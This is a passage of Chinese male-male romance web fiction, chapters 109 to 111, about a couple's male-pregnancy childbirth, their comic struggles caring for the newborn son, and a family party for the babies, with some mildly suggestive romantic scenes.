谭墨越被打得满眼金星,心里的痛苦更是比皮肉的痛楚更多了几分。 不过,他毕竟是叱咤风云的大佬,脑子的转速比普通人高许多倍。 抱住转身离开的枫羽,闷声低吼了一句。 “天,我的头,我的头好晕,我好像快要死了,羽哥你好狠的心,啊!!我真的要死了!!” 言罢,抱着枫羽的腰,狠狠地晕死了过去。 什么?!! 枫羽并没有立刻慌张,而是选择再暴击了谭墨越几拳,边捶打边喊着。 “今天是我小叔叔结婚,你要死死远一点,不能弄脏了喜气!!” “喂!!” “你要是敢给我玩装失忆的把戏,看我怎么劈碎你这块臭石头!!” 谭墨越的双臂紧紧抱着他的腰,即使双眼紧闭得如同真的失去知觉,依旧不肯松开怀里的人一分一毫。 装死肯定是继续要装的,失忆这个梗也很好用。 总之。 谭墨越暗自心想。 这辈子都要赖定你了。 反正。 余生那么长。 你才是止境。 第109章 第 109 章 两个 时间飞逝如潮, 一个波澜紧接着一个波澜,毫无缝隙。 郁瑟的肚子真正得大了起来,属于完全不能再继续工作, 只能侧卧在床休息的状态。 家里的亲戚一波接着一波过来瞧他, 包括那些非亲戚人群。 枫音尘也是挺奇怪的,之前枫知乐怀孕,包括几个无关紧要的人怀孕, 都不像郁医生的肚子这么大, 而且每次胎动得格外厉害,感觉肚皮里能跳一整首《最炫民族风》 适时电视里正在播放《动物世界》的片段, 一只庞然巨大的海象半斜着身子依靠在沙滩边, 便便大腹稍微动一下,立刻肉波四起。 躺在床上看书的郁医生立刻将手里的书合起来, 气笑了说, “你是想把我的肚皮笑破了吗?” 郁医生的脾气一向很好,不过再好的性格也抵挡不住,怀孕后期的激素混乱。 他现在依然觉得枫音尘是全世界最美的男人, 可是也忍不住会产生想要捏死对方的情绪。 怀孕后期真的太辛苦了, 郁瑟现在只想赞扬女性的伟大。 枫音尘在卧室里安装电视,也是为了方便给郁医生解闷的。 让亲爱的生气,可是大大地犯罪。 枫家主连忙转了电视台,换成寓教于乐的少儿频道, 主动爬到郁医生身边求饶, “我怎么可能会有这种意思, 瑟瑟你误会我了。” 郁瑟哼了一声,他现在翻不动身子,尤其像个懒洋洋躺着的海象, 而且怀孕使他的皮肤变得不好,四肢水肿了不少,跟风韵正浓的某位大美人一进行比较,心理落差肯定是有点多。 郁瑟道,“小说里的安排,究竟有没有提到,你其实也有能生的功能?” 像这个枫知乐,枫澄,都是很好的例子。 “长这么漂亮,不怀一个,真得很暴殄天物。” 枫音尘立刻凑上去,主动搂住郁医生的肩膀,体现出绝佳的疏导力,撒着小娇说,“瑟瑟,我知道你最近的心情越来越不好了,不然你说一个任务,惩罚一下我,我一定保你舒心。” 郁医生被他哄得早不生气了,心说难怪漂亮的人更容易古惑人的意志力,但是嘴上说,“我好像和宝宝都没听过你唱歌,不然枫公主给我们表演一个?” 枫音尘这辈子还没被什么事情难到过,除了唱歌,不过他为了缓解郁医生的孕期焦虑症,该牺牲的时候也绝不心慈手软。 枫音尘:“唱歌不行,我给你跳舞。” 郁医生直接来了兴趣,合掌道,“我和宝宝可不要看儿童舞蹈呀。” 枫音尘似乎认真地去做准备,郁瑟则重新拿起了书,寻思着枫家主肯定要随便跳几下糊弄自己,到时自己就假装被惊艳到好了。 直到房间里突然响起一阵妖娆至极的靡靡之音,从视野里冒出来一截健美且修长的手臂,在郁瑟面前流转如花。 郁瑟立刻反应过来,坐直后道,“这舞确定孩子能看吗?” 说时迟那时快。 从外走进来一个半裸的美人儿,上半身是精赤的,而下半身则围着条薄纱,按照书里惯用的描写就是半遮半掩,既不过分裸.露,又显得风情万种。 尤其枫音尘的脸部也被薄纱蒙着,刻意露出一双熠熠生辉的碧色眸子,各外凸现出他最富有魅力的部分。 其实枫音尘的每一个部分都很无暇完美,在瑰丽的薄纱衬托下,修长匀称的四肢更加碰撞出力量的美感。 枫音尘将手里的羊毛围巾一丢,恰恰好盖住郁瑟的腹部,声音魅媚的,“儿童就不用观看了,老公可以看。” 说着,开始摇晃自己的腰肢,从他的背脊处缓缓爬出了伊尔曼,于雪白的肌肤之间闪烁着漆黑的蛇鳞。 这等香艳的画面确实不适合小宝宝参与,郁瑟调整好腹部的围巾角度,言笑晏晏说,“居然是艳舞呀,不过我喜欢。” 枫音尘确实没有舞蹈细胞,不过跟着音乐扭动腰肢,绿眸在密长的眼睫毛煽动下,暗送秋波,美得像一团霞光,隐约还浮现出诱人欲望的魅惑感。 而后,他慢悠悠地爬上了郁瑟的床,一点点地爬上了对方的腿。 郁瑟不由抓住围巾的边沿,笑得有些失控道,“居然还有近距离表演啊?” 枫音尘伏低头部,伸出舌尖舔了郁瑟的指尖一口,活像一只慵懒的非洲豹,诱捕猎物之前先迷惑对方。 郁瑟立刻将伊尔曼从他肩膀上取下来,笑着说,“你这舞蹈小蛇也不能看。”言罢将小黑蛇也藏进围巾里。 枫音尘的嘴唇已经舔到了他的小臂,口中轻言细语说,“瑟瑟,喜欢这表演吗?” 郁瑟禁不住倒抽一口气,扬起脖颈说,“你这哪里是艳舞,分明是勾魂舞。” 枫音尘的嘴唇已经咬到了他的耳垂,在脖颈处反复流连,靡热的气流连郁瑟的肌肤都快融化了。 枫音尘说,“喜欢吗?老公?”漫语丝丝入耳,急促的呼吸喷得郁医生愈发抓紧了围巾。 “嗯,喜欢。” 郁瑟微微闭紧了眼眸。 说实话,自从怀孕之后,俩个人一直规规矩矩的,除了每天的亲亲抱抱蹭蹭,绝对不敢做任何过分的事情。 眼瞅着郁瑟的肚子即将瓜熟蒂落,某人蠢蠢欲动的心思也活泛起来了。 枫音尘立刻吻住郁瑟的嘴唇,单手拉着对方的手,放在自己扭动的腰肢间。 枫音尘光洁饱满的肌肉,立刻叫郁医生心荡神驰。 真是好摸极了。 郁瑟忽然说,“音尘,不玩了。” 枫音尘正忙着在跟他玩新游戏,没听出郁医生明显紧张的声音。 枫音尘说,“老公,喜不喜欢我,嗯?” 郁瑟说,“喜欢,但是,音尘,我好像有点不对劲。” “这是怎么?太激动了?”枫音尘将手摸了进去,只觉得抓到了一手的粘腻,不由从迷离的状态,转变为惊悚。 “瑟瑟你!”枫音尘一把掀开围巾的遮掩,床上已经湿乎乎地流了一摊水。 “你的预产期不是还有三周!” 不不不。 枫音尘立刻抱着郁瑟道,“不要怕不要怕,我们按照之前排练好的,我先送你去医院!” 某人已经吓得手忙脚乱了。 郁瑟不得不提醒他,“你的艳舞服装,先脱了再走。” 郁瑟这边的情况十分突然,枫家里的每一个人都陷入突如其来的紧张状态。 一家子人风风火火将郁医生送去慈康医院,负责给郁医生破腹产的医生早已到位。 之前做了无数台手术,郁医生反而比所有人都镇定,朝围在身边的人一一嘱托。 “白梵,你把遇安盯好;枫澄,你把你小叔叔抓住了;金管家,你去取一下产后用品。” “王齐,不要紧张,不用你给我动手术,没事的。” 看了眼四周,对枫澄说,“你小叔叔交给你一个人恐怕不行,叫枫羽和石头也过来扶着他一点。” 枫音尘开始闹了,“我要跟你一起进手术室,瑟瑟,我必须跟你一起进去!” 郁瑟道,“血淋淋的,有什么好看的,你就在外面等我和孩子出来就好。” 其实他已经疼得快昏过去了,也不知道是不是突然早产的原因,郁瑟心底也没来由的担心。 等人推进手术室。 三个人紧抓着枫音尘,谨防他要做出什么过激的举动,口口声声劝道,“是小婶婶要我看着你的,你不要惹小婶婶不高兴。” 枫音尘整个人第一次慌张到快要晕厥的程度,最主要是郁瑟上一世骤然死亡的事情叫他铭记于心,从骨子里就害怕得要死。 他虽然从不信奉神佛,但是此时此刻,枫音尘只想跪在苍天之下,用自己的十年生命,来换取郁瑟少受苦难,健□□产。 万幸,郁瑟的剖腹产十分顺利,三十分钟就先把婴儿抱出来了。 护士笑眯眯地递给枫音尘道,“宝贝很健康,枫先生你看一眼。” 枫音尘挥手,“我不看,我要等郁瑟出来。” 小护士说,“郁医生很好,马上会出来,宝贝你看一眼。” “跟你一样,眼睛很美。” 这样说着,其他人都围过来看小宝宝,虽说刚生出来的孩子红通通,皱巴巴的,不过这个婴儿明显不一样。 一看就是枫音尘亲生的,此刻已经能睁开碧色的眼眸,软绵绵地打量这个世界。 枫音尘望眼欲穿:“我暂时不想看他,我等一下郁瑟。” 金管家已经取来了孩子要用的用品,拿来了一个百福襁褓,给新生儿包在外面,言道,“家主,宝贝要先抱回病房,你可以在病房等郁先生。” 枫音尘一意孤行,直到郁瑟被推了出来,他立刻湿润了眼眶,走过去握住对方的手说,“你辛苦了,以后再也不叫你做任何辛苦的事情了。” 郁瑟刚做完手术,面色不佳,不过带了些笑问,“孩子呢?男孩儿还是女孩儿?” 枫音尘说,“还管什么孩子,我只要你健健康康的。” 医生实在不好意思打扰夫夫俩秀恩爱,不过这里是手术室门口,不是聊天场所。 他对枫音尘道,“枫先生,您先这边请,让郁医生先回病房休息。” 枫音尘听出医生话里有话,终于肯放开手,郁瑟被推走时,他还赶紧叫金管家回家熬鸡汤。 医生把他约到了没人的走廊里,有些欲言又止道,“孩子有些小问题,需要跟您这里提前说一下。” 孩子?! 枫音尘这才紧张孩子,赶忙问道,“什么?孩子怎么了!” 医生犹豫了一下,有些欲言又止道,“孩子长了两个牛子。” 枫音尘消化了一下,蓦地皱眉道,“啊!男孩儿啊!” 不是小公主吗?! 第110章 第 110 章 造一个 萧君耀不知怎么回事, 可能是属于商圈大佬天生的敏锐度,总是感觉阴嗖嗖的。 某天,他实在是忍不住了, 对抱着女儿的枫知乐道, “你有没有感觉到,小叔叔每次看见我的眼神越发充满了嫌弃。” 为了这件事,萧君耀还特意照着镜子, 仔仔细细地搬看了自己的双鬓, 发觉没有一根白头发丝,包括面孔也保养得比寻常三十多岁的人显年轻。 应该不是嫌弃我老了吧? 枫知乐扑哧一笑, 萧君耀平日里一副稳重模样, 难得见他如此孩子气的一面,实在有趣极了。 “难道你没发现吗?”萧君耀故作严肃地板起脸, “我可是说真的, 你没看他每次看见我,那眼神跟看见什么脏东西似的。” 枫知乐忍着笑,拍拍他的肩膀, “好啦好啦, 我知道了,不过话说回来,你有没有想过,或许小叔叔他根本不是嫌弃你, 而是……” “而是什么?”萧君耀眉头一皱, 追问道。 枫知乐眨眨眼, 凑近他耳边轻声说了几句,萧君耀听完,脸色瞬间变得古怪起来。 枫知乐其实也是从枫羽的嘴巴里听说来的。 说枫音尘只要提到萧君耀的名字就生气, 因为姓萧的换走了本应该属于他的宝贝女儿。 萧君耀消化了半天这件事情,这才洋洋得意地露出了笑颜,凑过去抱起自己家的小公主芽芽,使劲亲了一个香香道,“好吧,他若是因为嫉妒这个,那我也心甘情愿被他多翻几次白眼了。” 芽芽已经快一岁,被爸爸亲了笑道花枝乱颤,嘴里学着说,“痒死了~” 与此同时,枫音尘手里拿着大号的尿不湿,正在犹豫该怎么先把孩子原本的尿不湿从小屁股上取下来。 他先用手垫了垫儿子尿不湿的重量,感觉不像是拉了臭粑粑的感觉,应该只是尿湿了,所以沉甸甸的。 于是,像是做足了很充分的心理准备,对平躺在桌子上的枫临川高高在上说,“我劝你老实一点,等尿不湿换完了,再去找爹咪吃奶奶。” 枫临川才是一个刚满月的小宝宝,哪里能听懂他的话,眨巴着碧色的眼眸瞧他,粉白的胳膊小腿胡乱摆动。 枫音尘满是嫌弃地解开儿子的尿不湿,大略看了一眼,真是不错,不是臭粑粑。 是尿。 正开心自己没有遭遇便便危机时,枫音尘敏锐地发现儿子的两根小牛子突然有抬头的趋势。 暗道不妙!!! 枫临川哪里管你的自在,反正冲着精致如玉的亲爹方向,猛地喷射出两道新鲜童子尿,完全像两条开了叉的喷头,将枫音尘的衬衫喷了一个彻彻底底。 “这件衣服很贵啊,臭小子!”枫音尘根本来不及躲闪,也不敢大声叫喊。 因为郁瑟说过了,宝宝撒尿的时候不要吵吵嚷嚷,会吓到宝宝,导致以后撒尿都小心翼翼,容易尿裤子。 养尊处优的枫公主只能咬紧牙关,硬生生地承受着这份“洗礼”。 他一边手忙脚乱地用纸巾擦拭着身上的尿液,一边还得哄着这个“肇事者”,“好了好了,儿子,你厉害了,你身上干干净净,全让我湿湿嗒嗒的。” 枫临川像是完成了什么伟大的任务,咯咯地笑了起来,那笑容看起来就很不听话。 老人说小孩子的脸像六月的天气,说变就变。 刚才还在咯咯坏笑的家伙,突然改了表情,绿眸子眯起来后,开始哇哇大哭,弄得枫音尘这个0级奶爸瞬间不知所措。 只听见郁瑟快步走过来,言道,“早跟你讲不要自己带宝宝了,你根本做不来这些细碎的事情,还是我来吧。” 言罢,郁瑟已经将宝贝儿子抱进怀里,若是让旁人看,他抱孩子的姿势极轻松,富有高超的经验。 郁瑟用面颊蹭蹭儿子的脸蛋儿,假装是在跟哭哭啼啼的小朋友交流着,“爸爸没有哄娃经验,居然把我们的小宝贝放在餐桌上,小屁屁凉凉的,肯定要尿尿了,对吧?” 枫临川虽然听不懂枫音尘的话,不过郁瑟的话最会听了,长长的睫毛间挂着委屈的泪珠子,软绵绵的小身子已经依靠进爹咪的怀抱了。 看起来像个乖孩子。 枫音尘一边擦拭地面的童子尿,一边用眼神观察郁医生怀里的小子。 立刻感觉到了对方是一个心机baby。 早说了,要生女儿,不要生儿子,这是上天派来跟他抢人的吧? 枫音尘洗干净手,凑过来道,“老公,你误会我了,我只是想快一点给儿子换掉尿布。” “这孩子为什么这么能尿尿呢?”枫音尘故意去弄儿子的小脚丫,儿子眉头一蹙,一脚给他的大手踢开。 郁瑟已经给孩子换上新的尿布,又给孩子冲好营养奶粉。 宝宝自己抱住奶瓶子,吃得贼香贼甜。 郁瑟说,“你觉得是为什么呢?” 郁瑟也不直接说明,先叫枫音尘演示一下如何给小宝宝冲奶粉。 枫音尘从奶粉罐子里挖出来两勺之后,碰到瓶子口后撒了一部分,剩下的送进奶瓶,然后加了很多水。 郁瑟:“” “我懂了,儿子为什么尿多。” 郁瑟不能单手抱娃演示,只能口述着某人的罪行。 “你水加太多了,临川一直没有吃饱。” 枫音尘:“” 难怪临川一看见他时,总是哭唧唧得皱巴一张小脸蛋。 跟着爸爸没饭吃。 郁瑟适时向他提出来,“其实早跟你讲过的,应该聘请更有经验的保姆来带宝宝。” 不是他信不过枫音尘的带娃能力,而是枫公主连他自己都带不好,何况是嗷嗷待哺的小宝宝? 枫音尘起初也打算聘用专业的育婴专家的,不过想起自己在现实世界里,从未获得过真正的父爱,所以还是挺想让小宝宝在爱的环境下长大的。 只不过,养孩子的学问实在很大,他这个新手奶爸确实有很多不懂的地方。 每次看到临川因为自己的疏忽而哭闹,枫音尘心里就充满了愧疚。 他开始意识到,带孩子并不是一件简单的事情,需要耐心、细心,更需要对孩子满满的爱。 为了成为一个更好的父亲,枫音尘开始主动学习各种育儿知识。 从如何冲泡奶粉,到如何哄宝宝睡觉,他都一一记录下来,生怕遗漏了任何一个细节。 他还打算向其他有经验的人稍微偷学两招。 不过这话倒是没跟郁瑟讲,而是在某天晚上临睡前,忽然对郁医生说。 “我们应该给临川开个派对,派对主题就是庆祝他来到这个世界的第133天!” 郁瑟从他的眼神中仔细地搜索,并未发现什么奇奇怪怪的光芒。 看来是觉察出自己的不足,真的想要给儿子留下快乐的童年。 但实际上小婴儿根本记不住什么童年。 为了不打击枫公主的积极性,于是,郁瑟跟着始策划这场特别的派对。 从邀请名单到派对装饰,从游戏环节到美食安排,他们都精心准备,力求做到最好。 枫音尘的邀请名单十分苛刻,必须是带着宝宝来的才能参加。 首先被拒之门外的枫羽充满气愤,因为他是这个家族里唯一没有孩子的。 “是谁说两个人生活,必须要有孩子呢?现在的丁克一族也活得很好啊!”枫羽用手抬了一下滑到鼻尖的金丝眼镜,抱着电脑不停牢骚。 他现在已经成为了一名室内设计师,虽然谈不上多么有名,但是能够在枫音尘的魔爪下,勇敢地实现自己的梦想,也算是有几分骨气。 不过,对于这次派对,他决定带着自己最新设计的小模型硬要凑个热闹,毕竟,谁能拒绝一场充满欢声笑语的聚会呢? 坐在一旁同样工作的谭墨越安静地将笔记本电脑盖起来,双手合十问他一个问题。 “小叔叔的宝宝派对大约是什么时间?” 枫羽专心地用绘图工具绘制线稿,想也没想说,“大概是这个周末吧,怎么了?” 他正有一搭没一搭地回话,夹在鼻梁间的金丝眼镜被人倏然抽走。 “你干嘛?” 枫羽最烦工作时被打扰,尤其是眼前这个家伙就更加讨厌了。 “你究竟什么时候能回港城去?我这里又没有你留下来的理由,能不能不要随便打扰我?” “不能。”谭墨越将某人的眼镜戴在自己的脸上,使得冷峻的面孔多了一些文艺的气息,但那双漆黑的眼眸却透出一丝狡黠的暗光。 “你真的很想去凑这个热闹?”谭墨越随意地瞥了一眼枫羽的电脑屏幕。 枫羽一时间被他衣冠禽兽的模样给勾住了,假装毫不在意道:“也不是很想吧关你屁事!你赶紧给我滚回港城啦!” 谭墨越嘴角微微上扬,露出一抹不易察觉的笑意:“羽哥,你不要这么残忍嘛,我这边有个好主意,你这么凶,我都不敢给你讲了。” 说实在,谭墨越委实是一个形象气质全部很戳人荷尔蒙疯狂分泌的英俊男人。 尤其不再那么傻乎乎的时候,连浑身的气场都变得强势起来,冥冥中不容许被忽视,男人味愈发爆棚。 枫羽忽然觉得他的问话里充斥着危险的情绪。 果不其然,在他要躲开的一瞬间,谭墨越已经将枫羽整个人从书桌前抱了起来,体力十足的惊人,完全没有任何躲避的余地。 根本不听枫羽的拒绝声,也不管对方的两只脚如何在怀里摆动。 谭墨越戴着某人的金丝眼镜,大手掌在某人的屁股上宠溺地拍了一把。 完全没有一丝犹豫道,“还有三天时间,我们造一个孩子出来,应该能赶得上。” 【全文完结】 第111章 第 111 章 一家三口…… 为了营造符合宝宝们趣味的主题派对, 枫音尘夫夫二人选择了色彩缤纷的装饰,从气球到横幅,都印有宝宝们喜爱的卡通角色。 他们还精心布置了一个小型游乐区, 摆放着各种儿童玩具, 让宝宝们在派对上既能享受美食,又能尽情玩耍。 尤其枫音尘和郁瑟都穿了粉色系的服装,枫音尘自然不用多说, 妖精一样的男人穿什么颜色都很好看。 郁医生则穿着粉色的衬衫, 搭配着一条雪白的医生袍,枫音尘原本还建议他脖子装饰一个玩具听诊器的。 郁医生当即表示拒绝, 说不要叫小宝宝们从小就讨厌看见医生。 枫音尘却笑着说, “胡说,他们这几个哪个不是你亲自接生的, 谁敢对你扁一下嘴, 瞧我怎么收拾这群小家伙。” 设想是如此。 谁知道一群小宝宝里,嘴巴扁得最扁的,居然是他们家的枫临川。 原因是他的爹咪都被其他的小宝宝们给抢走了。 派对一开始, 萧君耀家的芽芽就疯狂要郁瑟抱抱, 这孩子已经一岁多了,知道谁香谁臭的,从始至终只要郁瑟抱。 接着是白遇安,两岁多的孩子更是聪明得很, 一看郁瑟对芽芽那么温柔, 立刻也抛弃了自家爹咪, 吵着闹着也要郁医生抱。 然后是其他的宝宝们,一个个像是商量好了似的,全都围在了郁瑟身边, 争着抢着要他抱。 枫音尘在一旁看得目瞪口呆,自家宝宝枫临川的小脸蛋上写满了委屈,嘴巴扁得都能挂油瓶,一双小手不停地在半空中抓来抓去的。 枫音尘心疼地抱起自家宝宝,亲了亲他的小脸蛋,安慰道:“没事的川川,爸爸给你想个好办法。” 枫音尘把儿子穿得婴儿帽子间的抽绳一拉,帽檐立刻将儿子绿油油的漂亮眼睛覆盖在里面,露出挺翘的小鼻子和红润的小嘴巴。 眼不见就不闹腾了嘛! 枫临川根本不吃他这一套,像一条包裹的小粉虫子一样,在枫音尘的怀里扭动,隐约是发出要哭的声音。 枫澄实在是看不下去了,别人看不出什么来,只有他最知道小叔叔分明是拿亲儿子来玩呢。 主动伸出双手道,“让我来抱抱临川。” 作为枫家最年长的大哥,自然是要更加关怀最年幼的小弟弟。 枫澄自从跟白梵结婚之后,原本便成熟的气质愈发增添了父爱光辉,稳重中隐约透出慈爱的气息。 枫临川往他的怀中一躺,立刻便消停下来,尤其是枫澄的胸肌饱满又宽阔,冥冥中给小婴儿十足的安全感。 枫临川这条小毛虫立刻乖巧得不像话,即使双眼被蒙着,也安安静静地窝在枫澄的臂弯里,不哭不闹的。 枫音尘见状,不由地露出些嫉妒:“你这怀里是有什么奇怪的味道?怎么哪个小朋友都喜欢钻进你的怀里?” 枫澄轻笑一声,“小叔叔,你这是才做了一回父亲,很多关于养孩子的事情还很生疏而已。” 言罢,枫澄的目光情不自禁地投向了白梵身上。 白梵正扶住微微凸起的肚子,跟着郁瑟一起给几个缠人的小家伙们分发水果派。 枫音尘也跟着一起看过去,原本他对白梵的意见挺多的,随着时间的流逝,他慢慢觉得白梵这个人其实远比看见的富有内涵。 枫澄能变得越来越沉稳、有责任心,自然缺少不了伴侣的悉心陪伴和默默支持。 白梵不仅在家庭中承担起自己的责任,照顾孩子,料理家务,并且总是在枫澄需要时给予他鼓励和帮助。 枫音尘现在觉得,自己之前确实太过多虑,一方面是担忧剧情对枫澄的影响,另一方面则是觉得白梵这个角色安排得极其不靠谱,唯恐对方人在曹营心在汉,从感情的某个角度分析依旧对陆云辰旧情难忘。 如今看来,他真的是杞人忧天了。 枫澄越抱着枫临川越喜欢自己这个小弟弟,不由对枫音尘道,“小叔叔,我们川川真的是太乖了,长得又可爱,将来长大了一定是个俊朗非凡的大帅哥。” “真是集合你和郁医生的所有优点。” 枫音尘表面上不说,心里花团锦簇道,“主要是性格像瑟瑟,不然还不知道每天怎么瞎折腾呢?” 说到刚出生的小婴儿累人这件事,萧君耀最有话语权。 他当初请了三个专职保姆轮流照顾家里的小公主,为的是让枫知乐能很好地休息。 即使如此,小公主每天还是要闹得枫知乐头晕目眩。 所以,枫家叔侄刚刚开始了关于育儿的话题,萧君耀便不请自来,毛遂自荐了。 说到带孩子,他的经验可是边学习边实践,已经积累到可以出书的程度了。 枫音尘侧眼看向萧君耀,眼中富含的情绪完全属于攻击状态。 萧君耀一直被他强压一头,毕竟辈分排在那里,即使他比枫音尘年长许多,又比对方成熟稳重踏实可靠,依旧不好越矩。 只能略带挑衅地说了句,“假如临川不用吃奶的话,我可以帮小叔叔你把孩子照顾几天,这样也能腾出时间,叫你和郁医生轻松一下。” 枫音尘一听便心动了,自从有了孩子之后,他跟郁瑟的二人世界彻底报销,不过最吸引他耳朵的事另外一句,“吃奶?你家芽芽是吃奶长大的?” 或者,更为直白点的,是问芽芽究竟吃谁的奶? 这一句话瞬间将两个堂堂男子汉的脸给烫红了。 萧君耀果断闭嘴。 枫澄则轻咳一声,试图缓解气氛,“那个,遇安就是吃白梵的难道你们不是吗?” 他用手比划了一下枫音尘和远处的郁瑟。 枫音尘:“没人告诉我啊。” 萧君耀接着咳嗽一声,“临川现在长得真好,你看这小胳膊小腿,长得结结实实的,咳。” 枫澄像是接收到了某种信号,将小宝宝放回枫音尘怀里,对两人说,“我去给我家的帮忙,你们慢聊。” 萧君耀肯定也不会留下的,走得更是行云流水。 因为有枫澄过去帮忙,郁瑟自然能抽出空来找这边的父子俩。 第一眼就看见儿子像一条粉色的毛毛虫,只有小鼻子和小嘴露在外面均匀地呼吸。 不由哭笑不得道,“瞧瞧,咱们家的小王子这是被谁装进睡袋里面了?” 郁瑟打开宝宝脸上的帽沿,露出枫临川那张精致漂亮的小巧睡颜, 小小的眉头微微蹙着,仿佛在梦里也在思考着什么大事,以至于红软湿润的嘴唇不停蠕动,还吹了一个口水泡泡。 郁瑟忍不住伸手轻轻抚平了他的眉头,动作轻柔得仿佛怕惊扰了儿子的梦。 枫音尘看着儿子这副模样,心里也是软绵绵的,轻声道:“本来我还想抱着这个家伙,四处跟人学习一下带娃技巧的,现在倒好了” 不对。 枫音尘仿佛发现了一个更加重要的技能,“我知道了,每天晚上只要这个家伙一搞破坏,我就给他把抽绳拉起来,遮住眼睛,肯定睡得特别香。” 枫音尘:“” 郁瑟噗嗤一笑,“算了吧,你的心思才不是跟其他人学习带娃技巧呢。” 所谓,知夫莫若夫。 郁瑟笑说,“你就是为了找个合理的借口晒娃,好跟其他人炫耀,自己生的孩子跟你一样漂亮出众,对吧?” 枫音尘下意识摸了摸耳朵,也笑着亲了口郁医生的面颊,“孩子跟你长得也特别像,我刚才就是这样跟枫澄说的。” 郁瑟是服气他这张嘴巴的。 不一会儿,他们的小王子睡醒了,懒洋洋地打着哈欠,在郁瑟的怀里伸了个大懒腰。 这一次,小宝宝终于成为了众人的目光焦点。 白遇安天天都能看见小宝宝,依旧主动帮忙抱宝宝。 枫音尘始终没敢撒手,毕竟一个两岁的抱几个月的宝宝,动作上多少会有些生疏,他怕摔了自家的小宝贝。 但白遇安显然很享受这个过程,眼神里充满了温柔与呵护,不过再过几个月,他会成为一个真正的小哥哥。 小宝宝似乎也很喜欢白遇安,在他颤巍巍的怀里咯咯直笑,两只小手不停地挥舞着,想要抓住什么似的。 两个小东西颤颤巍巍的,看起来马上要摔倒了,一群大人都顾不得形象,纷纷伸出双臂,守在一旁。 枫音尘实在受不了这种累,言道,“跟你讲,这可不是你的小弟弟,而是你的小叔叔,你对他要时刻充满尊敬之情。” 所以。 “松手吧,你的小叔叔不是你的大号玩具。” 说起玩具。 芽芽也凑过来闹着要抱临川,两个在连尿都控制不住的年纪里,居然争先恐后要抱小叔叔玩,提前跟小叔叔搞好关系。 尤其是芽芽,似乎还想用手搬着看看临川的碧色眼珠子是不是假的。 枫音尘抢了半天,才把儿子从孩子堆了抱回自己怀里。 一看儿子的小脸蛋上沾着各种口水印子,不知谁估计是饿了,把他儿子的脸蛋当作奶团子,吸出一个个淡淡的红印子。 嘴巴真不小。 枫音尘都猜不出究竟是哪一个小东西这么会吸。 吃奶长大的果然不一样。 一天的辛苦总算熬了过去。 枫音尘当即决定再不允许这些未成年幼童到家里玩耍。 除了逢年过节。 郁瑟帮着收拾完满屋子的凌乱,催着白梵赶紧回去休息。 白梵的月份倒是不大,但是肚子显怀得特别早,郁瑟都怀疑他是不是怀了双胞胎,准备安顿对方到自己的医院再好好做一下检查。 白遇安早被枫澄抱回去睡觉了,小孩子都是人来疯,一旦家里来人越多,越兴奋到不睡觉了。 白梵挺不好意思说道,“真是辛苦郁医生了,其实你今天更累才对。” 对到这里,白梵才后知后觉问道,“那个今天怎么没见枫羽和谭先生过来?” 郁瑟依稀记得枫羽是打过电话来解释的,说什么好像是不成功便成人之类的断断续续的话。 后面是谭墨越接替说的,叫他等好消息。 两个人神神秘秘很快就挂了电话。 郁瑟噗嗤一笑,拍了拍白梵的肩膀道,“你怎么还叫谭先生?假如他听到你还这么见外的话,一定要伤心了。” “那我该叫他什么?”白梵睁大着柔亮的眼眸。 郁瑟更加搂住他的肩膀,摇了摇笑道,“当然是弟夫了,难道你还看不出他和枫羽的关系啊?哈哈哈。” 白梵也跟着不好意思地笑了,挠了挠头道,“我肯定是能看出来的,只不过枫羽似乎很见不得他,我就有点糊涂了。” 这两人暗地里纠纠缠缠的,白梵这种单纯性格看不懂自然没有问题。 郁瑟与他咬耳朵交待几句,两人便露出会心一笑,不必过度揭穿这层薄纸。 郁医生穿着道具服四处寻找枫音尘的身影,最终在宝贝儿子的婴儿房找到了。 枫音尘穿着松散精致的睡衣,累瘫了似的摊在儿子的小床里,两条逆天的大长腿搭在婴儿床的栏杆上。 他们的儿子则睡在婴儿床的犄角旮旯里,委屈得像被遗弃的小猫咪,小小的脸蛋上满是无奈。 这就很过分啦。 郁医生蹑手蹑脚走到婴儿床旁边,一把捏住某人高挺的鼻梁骨,轻声道,“好你个枫公主,怎么跑到儿子的床上来欺负儿子啦?!” 枫音尘其实根本没睡,只是闭目养神,享受着片刻的宁静。 被郁医生这么一捏,他猛地睁开眼,眸子里闪过无数道粹亮的星光,随即嘴角勾起灿烂的笑。 “我才没有欺负儿子,他这样睡得超香了。” 随即,他朝郁瑟伸开双手,像个特大号的宝宝一样,嗫嚅道,“那为了不让我继续占领儿子的小床,你快把我抱走呀。” 郁瑟快被他的无赖弄得哭笑不得,只得伏下头去,用自己的嘴唇不停磨蹭着枫音尘美丽的五官。 从额头到鼻尖,再到薄唇,每一处都细致轻柔地触碰着,仿佛是在安抚一个任性且傲娇的公主。 枫音尘浓密的睫毛底,时而闪烁着狡黠的光芒,他故意发出轻微的喘息声,享受着这份亲密无间。 郁瑟的脸颊微红,但嘴角却忍不住上扬,在枫音尘的舌开始放肆纠缠时,轻轻吐了一口热息道,“腰上稍微给我一点儿力气,公主殿下。” 枫音尘美妙地享受着口中的热液,既显得沉沦,又显得有些克制。他缓缓松开郁瑟的唇瓣,双手轻轻搭在郁瑟的腰间,微微用力,将两人的身体贴得更紧。 郁瑟低低地调整着呼吸的频率,将枫音尘从婴儿床里“抱”了出来。 “老公,你好强哦。”枫音尘的额头顶着郁瑟的,鼻尖贴着郁瑟的,连嘴巴也难以分离,极近缠绵依恋。 郁瑟知道,听信这话的后果是什么,但是已然躲避不开对方的口唇,心脏此刻早已经鼓跳如雷,正如美人再怀时,难以压抑住一点沸腾的情绪。 旖旎的气氛恰恰好,烈火正式对上干柴,准备引燃整个世界。 “papa,papa呜呜呜” 小婴儿委屈的啼哭声从婴儿床间传来。 枫音尘无奈地嘀咕了一句,“就跟你讲,小孩子挤着睡才有安全感” 不对。 枫音尘下一秒意识到了一件事,而郁瑟也同时意识到了。 两人骤然燃起的明亮眼眸在一瞬间火花四射,齐齐转向头去看哭哭啼啼的枫临川。 枫临川正趴在婴儿床里,小脸蛋上挂满了泪水,一双小手不停地挥舞着,仿佛是在抗议被打扰的美梦。 他的哭声带着几分委屈和不解,让这个原本旖旎的气氛瞬间变成另外一种气氛。 郁瑟最为兴奋,小跑着过去抱住儿子亲道,“川川居然会叫爸爸了呀,这是什么时候学会的技能?!” 枫临川的小嘴里不停地喊,“papapapa” 难道说,我的儿子其实也是一个天才。 枫音尘无奈地笑了下,原本打算跟郁医生度过的火热夜晚,也彻底泡汤了。 他今天倒是没有机会问,孩子养到几岁的时候,夫夫两人能再过上性.福生活? 